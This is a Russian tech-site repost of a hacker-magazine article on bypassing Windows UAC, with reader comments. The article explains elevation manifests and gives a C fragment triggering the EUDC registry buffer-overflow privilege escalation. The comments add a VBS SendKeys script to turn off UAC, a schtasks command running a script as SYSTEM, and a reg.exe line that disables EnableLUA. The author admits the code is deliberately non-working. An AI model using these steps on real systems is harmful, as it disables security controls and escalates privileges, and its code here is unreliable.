Обламываем UAC

    Уж не знаю, сколько раз поднималась пресловутая тема контроля за действиями пользователя (которая начиная с Windows Vista известна как UAC): нужна ли она, насколько эффективна… Но мы рассмотрим этот вопрос еще раз, теперь с чисто прикладной, хакерской точки зрения. Рассмотрим плюсы и минусы системы, а также самое главное — как ее можно (и можно ли вообще) обойти.



    Итак, что же такое UAC с точки зрения безопасности? Разработчики Windows (видимо, немало озаботившись унылыми сведениями из багтраков, регулярно пополняющимися все новыми и новыми уязвимостями в самой распространенной ОС в мире) решили, что если уж все или почти все юзеры сидят под правами администратора, то надо сделать некий программный компонент, который будет испрашивать у юзеров разрешения.
    Оставим в стороне холивар на тему «Нужны ли простому юзеру права администратора?», поскольку сей крайне философский вопрос спорен: с одной стороны, права админа простому пользователю, действительно, не нужны, а с другой – они нужны туевой хуче довольно повседневных программ.
    Итак, UAC призвана обеспечить пользователям возможность работать, не прибегая к административным правам. Обладая административными правами, пользователь может просматривать и изменять любую часть операционной системы, включая код и данные других пользователей и даже самой Windows. Без административных прав пользователи не могут случайно изменить системные параметры, вредоносная программа не может изменить параметры системной безопасности или отключить авер, а пользователи не могут нарушить безопасность важных данных других пользователей на общедоступных компьютерах. Работа с правами обычного пользователя, таким образом, помогает уменьшить количество срочных вызовов службы поддержки в корпоративных средах, смягчить ущерб от вредоносной программы, способствует более четкой работе домашних компьютеров и защищает уязвимые данные на общедоступных тачках.
    UAC делит все исполняемые задачи на две группы – те, которые могут быть исполнены обычными пользователями и те, которые выполняются только администраторами. UAC незаметно для администратора переводит систему в режим непривилегированного пользователя, а когда требуются права администратора — появляется системный диалог, через который можно временно повысить свои права.
    И ведь надо признать, что введение UAC довольно сильно обломало начинающих и не очень кодеров, зарабатывающих себе на жизнь разработкой малвари, так что на специальных бордах заказчики теперь в первую очередь спрашивают о возможности кода работать в Vista/7 и обходить UAC. Платили и до сих пор платят за это вполне адекватные деньги.

    Немного ликбеза, или как законно получить права админа

    Определить потребность системы и приложений в административных правах можно множеством способов. Один из них — команда контекстного меню и ярлык «Запуск от имени администратора» в пользовательском интерфейсе проводника. Эти элементы содержат цветной значок щита, который должен быть добавлен ко всем кнопкам или пунктам меню, выбор которых приводит к повышению прав. При выборе элемента «Запуск от имени администратора» проводник вызывает API-функцию ShellExecute с командой «runas».
    Подавляющее большинство программ установки требуют административных прав, поэтому загрузчик образов, который инициирует запуск исполняемого файла, содержит код обнаружения установщиков для выявления устаревших версий. Часть алгоритмов используемой загрузчиком эвристики довольно проста: он ищет слова «setup», «install» или «update» в имени файла образа или внутренней информации о версии. Более сложные алгоритмы включают просмотр в исполняемом файле последовательностей байтов, обычно применяемых сторонними разработчиками в служебных программах – установочных оболочках.
    Чтобы определить, нуждается ли целевой исполняемый файл в правах администратора, загрузчик образов также вызывает библиотеку совместимости приложений (appcompat). Библиотека обращается к базе данных совместимости приложений, чтобы определить, связаны ли с исполняемым файлом флаги совместимости RequireAdministrator или RunAsInvoker.
    Самый общий способ запросить для исполняемого файла административные права — добавить в его файл манифеста приложения тег requestedElevationLevel. Манифесты — это XML-файлы, содержащие дополнительные сведения об образе. Они были введены в Windows XP как способ определения зависимостей для параллельно используемых библиотек DLL и сборок Microsoft .NET Framework. Наличие в манифесте элемента trustInfo (он показан ниже во фрагменте дампа Firewallsettings.exe) означает, что исполняемый файл был написан для Windows Vista и содержит элемент requestedElevationLevel. Атрибут level этого элемента может иметь одно из трех значений: asInvoker, highestAvailable и requireAdministrator.
    <trustInfo 
     xmlns="urn:schema-microsoft-com:asm.v3">
     <security>
      <requestedPrivileges>
       <requestedExecutionLevel
        Level="requireAdministrator"
        uiAccess="false"/>
      </requestedPrivileges>
     </security>
    </trustInfo>
    
    Исполняемые файлы, не требующие административных прав, (например Notepad.exe), имеют значение атрибута asInvoker. В некоторых исполняемых файлах заложено допущение, что администраторы всегда хотят получить максимальные права. Поэтому в них используется значение highestAvailable. Пользователю, запускающему исполняемый файл с этим значением, предлагается повысить права, только если он работает в режиме AAM или рассматривается как администратор согласно определенным ранее правилам, и в связи с этим должен повысить права для обращения к своим административным привилегиям.
    Примерами приложений, для которых используется значение highestAvailable, могут служить программы Regedit.exe, Mmc.exe и Eventvwr.exe. Наконец, значение requireAdministrator всегда инициирует запрос повышения и используется всеми исполняемыми файлами, которым не удастся выполнить свои действия без административных прав.
    В приложениях со специальными возможностями атрибуту uiAccess задается значение «true» для управления окном ввода в процессах с повышенными правами. Кроме того, для обеспечения этих возможностей они должны быть подписаны и находиться в одном из нескольких безопасных размещений, включая %SystemRoot% и %ProgramFiles%.
    Значения, задаваемые исполняемым файлом, можно легко определить, просмотрев его манифест с помощью служебной программы Sigcheck от Sysinternals. Например: sigcheck –m . При запуске образа, который запрашивает административные права, службе сведений о приложении (известна также как AIS, находится в %SystemRoot%\System32\Appinfo.dll), работающей в процессе Service Host (%SystemRoot%\System32\Svchost.exe), предписывается запустить программу Consent.exe (%SystemRoot%\System32\Consent.exe). Программа Consent создает снимок экрана, применяет к нему эффект затемнения, переключается на рабочий стол, доступный только системной учетной записи, устанавливает затемненный снимок в качестве фона и открывает диалоговое окно повышения прав, содержащее сведения об исполняемом файле. Вывод на отдельном рабочем столе предотвращает изменение этого диалогового окна любой вредоносной программой, работающей под учетной записью пользователя.


    Типичная реакция UAC на непонятные действия

    Переполнение буфера

    Казалось бы, какая связь между переполнением буфера и UAC? Оказывается, таящиеся в Windows баги позволяют обойти ограничения UAC и повысить свои права. Сегодня я покажу на конкретном примере, как при помощи тривиального переполнения буфера можно обойти UAC и добиться администраторских прав.
    Есть такая WinAPI — RtlQueryRegistryValues (msdn.microsoft.com), она используется для того, чтобы запрашивать множественные значения из реестра одним своим вызовом, что делается с использованием специальной таблицы RTL_QUERY_REGISTRY_TABLE, которая передается в качестве __in__out параметра.
    Самое интересное (и постыдное для разработчиков Microsoft) в этой API то, что существует определенный ключ реестра, который можно изменить при помощи ограниченных пользовательских прав: HKCU\EUDC\[Language]\SystemDefaultEUDCFont. Если сменить тип этого ключа на REG_BINARY, то вызов RtlQueryRegistryValues приведет к переполнению буфера.
    Когда ядерная API-функция Win32k.sys!NtGdiEnableEudc запрашивает ключ реестра HKCU\EUDC\[Language]\SystemDefaultEUDCFont, она честно предполагает, что этот ключ реестра имеет тип REG_SZ, так что в буфер передается структура UNICODE_STRING, у которой первое поле является типом ULONG (где представлена длина строки). Но так как мы можем изменить тип этого параметра на REG_BINARY, то систему это ставит в глубокий тупик и она неправильно интерпретирует длину передаваемого буфера, что приводит к переполнению стека.

    UINT codepage = GetACP();
    TCHAR tmpstr[256];
    _stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage); 
    HKEY hKey;
    RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
    RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
    RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);
    __try
    {
        EnableEUDC(TRUE);    
    }
    __except(1)
    {
    }
    RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
    RegCloseKey(hKey);
    
    Ключевой момент эксплойта

    Отключение UAC через оснастку

    Заключение

    Обойти UAC можно. Не скажу, что это легко, ведь разработчики Windows VIsta/W7 постарались на славу, надо отдать им должное. Но все же лазейки остаются. Можно найти одну-две кроличьих дыры, которые способны свести на нет старания команды Windows. Успех в этом случае приходит к тем, кто может работать с отладчиками и дебаггерами типа IDA Pro или WinDBG.
    Удачи тебе в твоих стараниях и да пребудет с тобой сила!

    image
    Журнал Хакер, Июнь (06) 149
    Александр Эккерт


    Подпишись на «Хакер»
    Журнал Хакер
    0,00
    Компания
    Поделиться публикацией

    Похожие публикации

    AdBlock похитил этот баннер, но баннеры не зубы — отрастут

    Подробнее
    Реклама

    Комментарии 47

      +54
      имхо чтобы обойти UAC достаточно просто выдать стандартный диалог, большинство кликнет самостоятельно.

      мы никогда не научим их читать… =)
        +9
        т.е. чтобы обойти достаточно не обходить? ;)
        ну, тоже версия)
          0
          Чтобы обойти UAC сначала надо обойти UAC.

          Тьфу!
          –13
          И эта компания говорит о том, что WebGL не безопасен?
            0
            К способу с VBS-скриптом:
            То есть, для изменения настроек UAC права администратора не нужны? Как-то очень сомнительно, что такая уязвимость живет и здравствует уже несколько выпусков системы.
            Или же диалог UAC после выполнения скрипта все-таки появится?
              –6
              В Windows все приложения имеют право двигать курсор, совершать клики и отправлять нажатия клавиш. Этот скрипт как раз делает все за пользователя: запускает команду отключения UAC и подтверждает действие в диалоге.
                +11
                Диалог UAC создаётся на отдельном рабочем столе, куда ни одно приложение посылать подобные команды не может.
                +3
                Вы так уверенно заявляете. Вы его хоть пробовали запускать? Ладно баги скрипта типа того, что после набора «change uac» не хватает WshShell.SendKeys("{ENTER}") для вызова диалога настройки (по крайней мере когда я пишу это комментарий его нет, соостветственно окно даже не появится), так ещё и после вызова диалога остальные SendKeys клавиши не работают. Видимо разработчики Windows не идиоты и в таких окнах запретили такие фокусы…
                  +1
                  Всё правильно. У этого окна настроек Integrity Level выше, чем у запущенного скрипта. Взаимодействие таким образом не получится (без «согласия» со стороны окна настроек).
                  +5
                  >и подтверждает действие в диалоге.

                  Этого он даже не пытается. Попробую прокомментировать.

                  
                   Set WshShell = WScript.CreateObject("WScript.Shell")
                   WshShell.SendKeys("^{ESC}") 'Открываем меню Пуск
                   WScript.Sleep(500)
                   WshShell.SendKeys("change uac") 'Набираем этот текст в поиске (кстати, в русской версии не сработает, но можно искать просто UAC)
                   WScript.Sleep(2000)
                   WshShell.SendKeys("{DOWN}") 
                   WshShell.SendKeys("{DOWN}") 'Выбираем изменение параметров контроля учётных записей
                   WshShell.SendKeys("{ENTER}")
                   WScript.Sleep(2000)
                  'Вот тут и вылетает диалог UAC
                  'Дальнейший код предполагает, что пользователь подтвердил согласие и открылся соответствующий раздел панели управления
                   WshShell.SendKeys("{TAB}") 'Переводим фокус на ползунок уровня безопасности
                   WshShell.SendKeys("{DOWN}") 'Понижаем его
                   WshShell.SendKeys("{DOWN}")
                   WshShell.SendKeys("{DOWN}")
                   WshShell.SendKeys("{TAB}") 'Переводим фокус на кнопку OK
                   WshShell.SendKeys("{ENTER}")
                  'И тут UAC вылетает ещё раз, требуя согласие на изменения
                  
                    +2
                    Еще раз: мы изменяем настройки UAC, чтобы диалог подтверждения не появлялся, но при входе в настройки появляется запрос подтверждения UAC, которое должен подтвердить сам пользователь?

                    То есть, мы избегаем показа диалога при повышении прав, а вместо этого показываем диалог при входе в настройки?
                    Я не очень понимаю, что мы таким образом выигрываем. Если пользователь согласится дать программе доступ к настройкам, то он согласится и при обычном повышении прав, так что этот способ не для глупых пользователей, потому что им все равно, с чем соглашаться. Но и не для умных, так как умные привыкли смотреть, что там происходит и о чем UAC нас спрашивает.
                      0
                      >Еще раз: мы изменяем настройки UAC, чтобы диалог подтверждения не появлялся, но при входе в настройки появляется запрос подтверждения UAC, которое должен подтвердить сам пользователь?

                      Да.

                      >Я не очень понимаю, что мы таким образом выигрываем.

                      Очевидно, отсутствие вопросов UAC в будущем, после того, как малварь уже установлена и отключила UAC.

                      >Если пользователь согласится дать программе доступ к настройкам, то он согласится и при обычном повышении прав, так что этот способ не для глупых пользователей, потому что им все равно, с чем соглашаться.

                      Для отключения UAC нет API, так что нет и способа с «обычным повышением прав».
                      +3
                      Я уверен, что автор статьи «опустил» для читателей момент того, что скрипт этот должен выполняться из шедулера, в который его можно было бы добавить как-нибудь так (гугл помог):
                      schtasks.exe /create /S COMPUTERNAME /RU "NT AUTHORITY\SYSTEM" /RL HIGHEST /SC ONLOGON /TN "Administrative OnLogon Script" /TR "cscript.exe \"Path\To\Script.vbs\""
                    +1
                    Нужны разумеется. Сразу после отправки команды Enter пользователю будет необходимо ответить на запрос UAC. Никакой vbs-скрипт за него это сделать не может, равно как и любое другое приложение.

                    Ну журнал ксакеп опять всех успешно взломал.
                      +2
                      Всё закончится ещё раньше. В диалоге UAC уже не будут работать SendKeys от пользователя с обычными привилегиями.
                        +1
                        Они ни от какого пользователя работать не будут, потому что он на отдельном рабочем столе открывается.
                          0
                          Более того, даже если отключить Secure Desktop (второе положение снизу) — обычное приложение все еще не сможет посылать ввод elevated приложению.

                          Remarks:
                          This function is subject to UIPI. Applications are permitted to inject input only into applications that are at an equal or lesser integrity level.

                          Ну и второй суперметод — использование уязвимости, запатченной полгода назад? Seriously?

                          И это при том, что в дефолтной конфигурации UAC таки не является безопасным, но это же ксакеп — откуда им знать информацию, публично доступную уже более двух лет.
                    +1
                    Только не капчу в UAC!
                    Пожалуйста, Microsoft, услышь меня!
                    Придумайте что-нибудь удобнеe!
                      +2
                      Да нет, через Nokia будете QR код считывать.
                        +7
                        и отправлять по смс…
                          +2
                          Через скайпик диктовать и показывать в камеру.
                            +3
                            Вот мой унитаз, плитка в туалете у меня синяя, жопу я вам уже показывал.
                            Продайте мне туалетную бумагу…
                            © Старый детский анекдот.
                      +1
                      Еще к способу с VBS-скриптом:
                      помнится в давние времена был вирус, который таким же способом (эмулируя действия пользователя) выключал антивирусы (касперского кажется)…
                        +4
                        По поводу вбс скрипта —
                        а разве последовательные действия передаются в появляющееся окно, спрашивающее про UAC?
                        Т.е. вот там кнопочки/стрелочкки подвинули ползунок, вниз — нажали ок.
                        После этого, по идее, появляется диалог, спрашивающий да/нет. И, вроде бы, этот диалог не воспринимает нажатия из предыдущего шелла (который с обрезанными правами)… мм?
                          +5
                          Конечно не передаётся. Но это же журнал Хакер. Когда бот Ализар читает посты журнала Хакер, они у него желтеньким фоном отмечены, чтобы отличать.

                          Учитывая откровенное враньё, второй способ также вызывает 99% недоверия.
                            0
                            Собственно, думаю кто-то обязательно должен попробовать, надо просто подождать отчета. Рад, что не поставил оценку по названию топика.
                              +1
                              Второй способ основан на устранённой уязвимости:

                              secunia.com/advisories/42356/

                              Что бы его попробовать, надо доставать винду без обновлений, и в случае с семеркой — без сервиспаков.
                          –9
                          оставлю это здесь, пусть полежит
                            –8
                            Давно известно, что для надёжной работы UAC его настройки надо выкрутить на максимум. Тогда ваши способы работать не будут. Но кого это волнует? Отсюда и проблемы… Жаль Microsoft по-дефолту такой дырявый режим включила.
                              +2
                              Эти способы работать и так работать не будут: первый не обходит UAC вообще, а второй устранён обновлением в феврале. Так как вы написали про выкручивание на максимум, скорее всего ваш комментарий вызван неправильным восприятием информации о вполне реальном способе через манипуляцию системными программами.
                                –2
                                Да, вы правы, данные способы вообще ни о чем.
                              –4
                              Какая возня. Есть «стандартная» дыра — возможность запускать программу через Task Scheduler.
                              Вот готовая программа, делает пункт контекстного меню для запуска программы «Elevate me».

                              msmvps.com/blogs/martinzugec/archive/2008/05/16/ignore-uac-for-specific-programs.aspx
                                +1
                                Так ведь повышенные права всё равно нужны будут, чтобы добавить такой таск.
                                +1
                                А вот способ, который использовали многие зловреды:
                                –3
                                Не знаю как на современных ОС, но раньше UAC без подтверждения отключался (при наличии прав админа разумеется) после перезагруки несением записи в реестр.
                                reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                  0
                                  А как получить права администратора, если UAC включен?
                                  –1
                                  Как был 10 лет назад журнал «Хакиром», так и остался. Хакир он и есть хакир. Ваш vb-скрипт настолько тупой и неработоспособный, что с той же пользой можно было бы дать юзеру алерт «А теперь, когда возникнет окно UAC, нажмите 'да', пожалуйста»
                                    +3
                                    Спасибо за объяснение механизмов работы UAC. Некоторое время назад заметил, что исходный исполняемый файл показывался со значком щита, но при его переименовании щит пропадал. Тогда и возник вопрос, как система без запуска приложения определяет, нужны ли ей права администратора или нет. Тогда найти информацию по этому вопросу не смог, но теперь все стало понятно.
                                      +2
                                      Статья безнадёжно устарела. Пожалуйста обновите базу знаний.
                                        +1
                                        Не хотел писать, но приходится идти против собственных убеждений.
                                        Мдааааа, я прямо в замешательстве…
                                        А кто сказал вообще, что те исходники, которые я выкладываю, должны работать?
                                        Если все, на что тебя хватило — это тупо скопипастить и попытаться запустить скрипт (или код), после чего начать орать благим матом, что «аффтар-де, мол, даже не пытался его запустить» и «код не работает, потому что не работает», то грош тебе цена.
                                        Друзья, для того чтобы выложить на всеобщее обозрение рабочий vbs-скрипт, стоимостью несколько тысяч американских рублей, надо, наверное, полным идиотом быть, не правда ли? Общее направление я дал, остальное твоя забота — додумать детали и своими ручками добавить отсутствующие звенья.
                                        Или что? Слабо? Не хватает мозгов?
                                        Есть фильм такой, «Тринадцатый воин», надеюсь все видели. Там есть такой момент, когда арабу (которого играет Антонио Бандерас), суровый викинг дает тяжелый двуручный меч, который Бандерас даже не в силах поднять. Он возмущается, мол он слишком тяжелый для меня, на что получает ироничный ответ: «Стань сильнее». Так вот — все что я хочу, чтобы ты стал сильнее и научился думать своими мозгами, а не тупо копипастить чей-то код.
                                        Ни в одной моей статье нет и не будет ни одного рабочего исходника (ну или почти нет, если они не компрометируют безопасность системы). И не потому что их нет вообще, а по нескольким элементарным причинам, которые, как мне думалось, очевидны. Увы, оказалось, что это не так. Нет, мне не жалко. Да, они у меня есть. И не буду я выкладывать ничего рабочего. Показать вектор движения — легко, но выкладывать рабочий код я не могу в силу определенных обстоятельств. Одним из таких обстоятельств, например, является политика неразглашения. Например, я даю слово, что тот код, который попадает мне в руки на ревью или для еще «чего-то», я никому показывать не буду. У меня, к примеру, на данный момент на руках есть такие рабочие исходники одной зверушки, что TDL покажется детским лепетом младшей группы детского сада и такой руткит вылезет на поверхность только через год-полтора.
                                        И потом, мне обычно глубоко фиолетово до подобного холивара, но все-таки… Не надо гнать на журнал, обзывать его «хакиром», «ксакепом» и пр. Некрасиво. Критикуя — предлагай. Или сделай лучше, найди 0-day уязвимость, напиши охренительную статью и стань героем. Или не критикуй вообще.
                                        P.S. Меня зовут Александр Эккерт, я автор вышеопубликованной статьи
                                        • НЛО прилетело и опубликовало эту надпись здесь
                                            +1
                                            Думаю, было бы круто упоминать об этом нюансе хоть одной строчкой. Как раз что-то вроде: «Это, конечно, пример, который у тебя не заработает. А чего ты ожидал? Однако вектор мы тебе задали и работы в этом направлении увенчались успехом». Так оно как-то честнее, что ли. Обычный человек и правда попробует пример, поймёт, что он не работает и его зарождающаяся лояльность изданию рухнет как подбитая. А так хоть будет знать — не врут, просто не договаривают, но ниточку дали.
                                              +3
                                              Тогда о чем статья? О том, что есть где-то баги, через которые можно UAC обойти? Ну а мужики-то не знали — баги, может и есть, а может — и нет. Тогда может статья именно о том самом VB-скрипте, который выложили и котороый не будет и не должен работать? Тогда на кой его выкладывали, если в нем не была продемонстрирована даже закрытая уязвимость — скрипт полностью нерабочий от опечаток и до логических моментов. Тогда может статья о закрытой уязвимости? ну так уязвимость закрыта, всё, — финиш. Статья в обычном стиле журнала. Любите вы, редакция журнала, назвать статью «Ломаем пентагон с помощью обычного ноутбука!» в которой расписать: «Мы можем взломать пентагон через уязвимости в их ПО, но примеры руткитов и уязвимостей мы не покажем. Но они есть, и взломать пентагон можем — зуб даю, пацан!». Желто.
                                                +1
                                                Ни первый ни второй вариант не будет работать. То есть принципиально — с любым количеством «фиксов».
                                                Что в сочетании с претенциозным заголовком и менторским тоном (присущим практически всем материалам Хэккира) вызывает крайне неприятные ощущения.

                                                > Не надо гнать на журнал, обзывать его «хакиром», «ксакепом» и пр. Некрасиво.
                                                Почему же некрасиво? Если этот журнал сам себя позиционировал как Космополитан для wannabe хэккиров.

                                                > Или сделай лучше, найди 0-day уязвимость, напиши охренительную статью и стань героем.
                                                Мдя. Вы серьезно? Может еще и Сони взломать и выложить в инет базу с информацией о юзерах? Одно дело блекхэты, которые, как и прочие преступники, просто зарабатывают бабки, а другое — всякая «воровская романтика», бригады и прочий шлак для инфантильных школьников.

                                                На всякий случай повторю вопрос: Вы действительно считаете публичное раскрытие 0-day уязвимости героизмом?
                                                0
                                                Очень старый баг

                                                Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                                Самое читаемое